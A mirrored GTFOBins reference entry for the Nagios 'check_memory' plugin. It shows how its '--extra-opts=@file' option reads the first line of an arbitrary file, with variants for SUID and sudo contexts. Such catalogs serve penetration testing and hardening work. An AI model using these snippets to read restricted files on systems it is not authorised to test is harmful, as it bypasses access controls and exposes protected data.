mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
18 lines
467 B
Markdown
18 lines
467 B
Markdown
---
|
|
description: |
|
|
This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
check_memory --extra-opts=@"$LFILE"
|
|
suid:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./check_memory --extra-opts=@"$LFILE"
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo check_memory --extra-opts=@"$LFILE"
|
|
---
|